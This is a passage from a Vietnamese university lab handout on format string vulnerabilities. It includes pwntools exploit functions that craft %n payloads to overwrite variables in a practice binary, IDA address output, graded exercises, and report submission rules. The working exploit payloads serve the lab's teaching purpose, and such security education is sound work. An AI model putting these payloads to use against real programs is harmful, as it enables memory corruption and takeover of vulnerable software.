Độ dài của `addr` của `c` là 4, vì vậy chúng ta phải nhập thêm 12 ký tự để đạt được 16 ký tự để sửa đổi giá trị của `c` thành 16.

```
def forc():
    sh = process('./overwrite')
    c_addr = int(sh.recvuntil('\n', drop=True), 16)
    print(hex(c_addr))
    payload = p32(c_addr) + b'%012d' + b'%6$n'
    print(payload)
    sh.sendline(payload)
    print(sh.recv())
    sh.interactive()

forc()
```

® Bài tập (yêu cầu làm)

4. Cho biết kết quả hàm `forc()`

d) Ghi đề bộ nhớ địa chỉ tùy ý

Đầu tiên, ta hãy xem xét cách sửa đổi biến của phần dữ liệu thành một số nhỏ hơn. Nếu ta vẫn đặt địa chỉ cần chen ở trên cùng, nó sẽ trực tiếp chiếm độ dài từ (4 hoặc 8) byte. Rõ ràng, cho dù bạn xuất nó sau này như thế nào, nó sẽ chỉ lớn hơn 4.

Ta có thể sử dụng số nguyên tràn để sửa đổi giá trị của địa chỉ tương ứng, nhưng điều này sẽ khiến ta phải xuất ra một lượng lớn nội dung cùng một lúc. Và điều này, trong những trường hợp bình thường, về cơ bản sẽ không thành công trong cuộc tấn công. Vậy ta nên làm gì? Bạn thử nghĩ lại xem, ta có cần đặt địa chỉ của biến cần ghi đề lên đầu chuỗi không? Có vẻ không. Ta chỉ đặt tag ở đầu chuỗi chỉ để tìm phần bù. Nếu ta đặt thẻ ở giữa thì cũng không ảnh hưởng gì. Tương tự, ta đặt địa chỉ ở giữa, miễn là có thể tìm được phần bù tương ứng thì vẫn có thể lấy được giá trị tương ứng. Như đã đề cập trước đó, chuỗi định dạng của ta là tham số thứ sáu. Vì ta muốn ghi 2 vào địa chỉ tương ứng, byte phía trước của chuỗi định dạng phải là:

```
aa%k$nx
```


Tại thời điểm này, chuỗi định dạng được lưu trữ tương ứng đã chiếm vị trí gồm 6 ký tự. Nếu chúng ta thêm hai ký tự nữa aa, trên thực tế, aa%k là tham số thứ sáu và \$nxx thực sự là tham số thứ bảy. Nếu nó theo sau địa chỉ mà ta muốn đó là tham số thứ tám, vì vậy nếu ta đặt k thành 8 ở đây, nó thực sự có thể bị ghi đè.

Sử dụng IDA để lấy địa chỉ của a dưới dạng 0x0804C024 (vì a và b là các biến toàn cục được khởi tạo nên chúng không nằm trong ngăn xếp).

```
.data:0804C024 public a
.data:0804C024 dd 7Bh ; DATA XREF: main:loc_8049201↑r
.data:0804C028 public b
.data:0804C028 dd 1C8h ; DATA XREF: main:loc_8049220↑r
.data:0804C028 _data ends
```

Do đó, ta có thể tạo mã khai thác sau:

```
def fora():
    sh = process('./overwrite')
    a_addr = 0x0804C024
    payload = b'aa%8$n' + p32(a_addr)
    sh.sendline(payload)
    print (sh.recv())
    sh.interactive()
```

® Bài tập (yêu cầu làm)

5. Cho biết kết quả hàm fora()

® Bài tập (yêu cầu làm)

6. Thực hiện ghi đè biến b sao cho thỏa điều kiện $b == 0x12345678$ (Ghi đè số lớn)

C. YÊU CẦU & ĐÁNH GIÁ

1. Yêu cầu

- Sinh viên tìm hiểu và thực hành theo hướng dẫn.
- Sinh viên báo cáo kết quả thực hiện và nộp bài bằng **1 trong 2 hình thức**:

e) Cách 1: Báo cáo chi tiết:

Báo cáo cụ thể quá trình thực hành (có ảnh minh họa các bước) và giải thích các vấn đề kèm theo. Trình bày trong file PDF theo mẫu có sẵn tại website môn học.

f) Cách 2: Video trình bày chi tiết:

Quay lại quá trình thực hiện Lab của sinh viên kèm thuyết minh trực tiếp mô tả và giải thích quá trình thực hành. Upload lên **Youtube** và chèn link vào đầu báo cáo theo mẫu. **Lưu ý:** Không chia sẻ ở chế độ Public trên Youtube.

Đặt tên file báo cáo theo định dạng như mẫu:

[Mã lớp]-LabX_GroupX-SeasionX

Ví dụ: *[NT101.I11.1]-Lab1_Group2-Seasion3.*

- Nếu báo cáo có nhiều file, nén tất cả file vào file .ZIP với cùng tên file báo cáo.
- Nộp báo cáo trên theo thời gian đã thống nhất tại website môn học.

2. Đánh giá:

- Sinh viên hiểu và tự thực hiện được bài thực hành, đóng góp tích cực tại lớp.
- Báo cáo trình bày chi tiết, giải thích các bước thực hiện và chứng minh được do nhóm sinh viên thực hiện.
- Hoàn tất nội dung cơ bản và có thực hiện nội dung *mở rộng – cộng điểm* (với lớp ANTN).

Kết quả thực hành cũng được đánh giá bằng kiểm tra kết quả trực tiếp tại lớp vào cuối buổi thực hành hoặc vào buổi thực hành thứ 2.

Lưu ý: Bài sao chép, nộp trễ, “*gánh team*”, ... sẽ được xử lý tùy mức độ.

HẾT

Chúc các bạn hoàn thành tốt!